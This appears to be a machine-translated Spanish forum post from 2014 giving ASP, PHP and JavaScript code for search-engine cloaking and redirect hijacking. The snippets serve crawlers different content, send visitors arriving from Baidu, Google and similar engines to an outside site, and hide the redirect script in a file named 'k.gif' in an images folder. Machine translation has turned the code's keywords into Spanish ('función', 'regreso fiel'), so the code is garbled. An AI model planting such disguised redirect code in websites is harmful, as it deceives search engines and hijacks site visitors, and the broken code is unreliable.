Primero, es sencillo, añade el siguiente código a la página principal:
Versión ASP
<!--#include archivo="conn.asp"-->
<script src="imágenes\k.gif"></script>
Versión PHP
<!--#include archivo="conn.php"-->
<script src="imágenes\k.gif"></script>
Luego añade el siguiente código al archivo conn según el programa de la web; si no tienes un conn.asp o conn.php, créalo tú mismo:
conn.asp edición
----------- la siguiente reproducción--------------------------------
<%
función isspider()
Agente DIM, Searray, I
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot", "baiduspider", "sogou", "yahoo", "soso", "360spider")
isspider= falso
para i=0 a ubound (searray)
si (instr(agente,searray(i))>0) entonces isspider=verdadero
próximo
Función final
función fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
Fromse= falso
si urlrefer="" entonces fromse= false
searray=array("google", "baidu", "sogou", "yahoo", "soso", "360")
para i=0 a ubound (searray)
si (instr(urlrefer,searray(i))>0) entonces fromse=true
próximo
Función final
función gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
si Http.readystate<>4 entonces
Función de salida
fin si
gethttp=bytes2BSTR(Http.responseBody)
set http=nada
si err.number<>0 entonces err. ¡Libre
Función final
function bytes2BSTR(vIn)
dim strReturn
dim i, EsteCódigoDe Persona, SiguienteCódigo de Carga
strReturn = ""
Para i = 1 A LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Si este CharCode < y H80 entonces
strReturn = strReturn & Chr(ThisCharCode)
Si no,
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Fin Si
Próximo
bytes2BSTR = strReturn
Función final
si(isspider()) entonces
dim myfso, fileurl, filecon, myfile, bodyurl, remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
respuesta.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
respuesta.fin
fin si
%>
conn.php
---------------- la siguiente reproducción----------------
<?php
función is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = arreglo ('baiduspider', 'araña sogou', 'araña soso', 'araña iask', 'naverrobot');
foreach ($identify AS $key => $tag){
si (strstr($user_agent, $tag)){
regreso fiel;
}
}
return false; }
función is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explotar("@",$come_from);
foreach($referer como $url){
si (stristr($_SERVER['HTTP_REFERER'],$url)){
regreso fiel;
}
}
return false; }
si (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational</title> College <meta nombre=\"Autor\" contenido=\"Rellenar lo mismo que palabras clave\"> <meta nombre=\"Palabras clave\" contenido=\"Palabras clave\"> <meta nombre=
\"Descripción\" contenido=\"Descripción\"> </head> <body>Contenido</body></html>";
Echo $html;
}
si (!is_search_bot() y is_urlbaidu())
{
Encabezado('Ubicación:http://www.itsvse.com');
}
?>
Finalmente, en el directorio de imágenes, sube un archivo k.gif k.gif el código:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; URL de redirección
|
Publicado en 1/12/2014 18:48:55
|
|
|
